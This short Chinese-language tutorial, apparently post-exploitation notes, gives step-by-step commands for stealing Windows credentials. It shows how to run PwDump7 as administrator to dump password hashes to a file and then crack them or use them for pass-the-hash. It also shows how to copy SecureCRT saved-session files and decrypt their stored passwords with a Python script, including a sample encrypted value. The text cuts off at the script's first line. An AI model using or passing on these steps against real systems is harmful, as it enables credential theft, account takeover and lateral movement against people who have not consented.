PwDump7 下载地址：PwDump7
PwDump7 只能获取到用户的 hash，不能看到明文密码，不过可以使用这个 hash 值去 cmd5 等平台查找明文或者直接用哈希传递。
PwDump7 需要使用管理员权限直接运行即可。
- 以管理员运行cmd.exe
- 切换到pwdump7目录
- 执行命令PwDump7.exe
- 可用PwDump7.exe >>1.txt 将密码hash保存到文本中

SecureCRT
方法一解密：针对低版本（7.x及以下版本）
版本不同，保存的sessions 文件位置不同，默认安装的路径下，config配置文件目录为：
C:\Users\$username$\AppData\Roaming\VanDyke\Config\Sessions
可以将xxx.ini拷贝到本地进行解密
需要的主要参数是password字段
python3解密脚本
安装所需库
pip install pycryptodome
使用教程
python3 secure-burp.py dec "$password字段$"
python3 secure-burp.py dec "353cdf65466d32d9937a1af530962b78d627895f284dc90f608b8c78dbeed008"#!/usr/bin/env python3
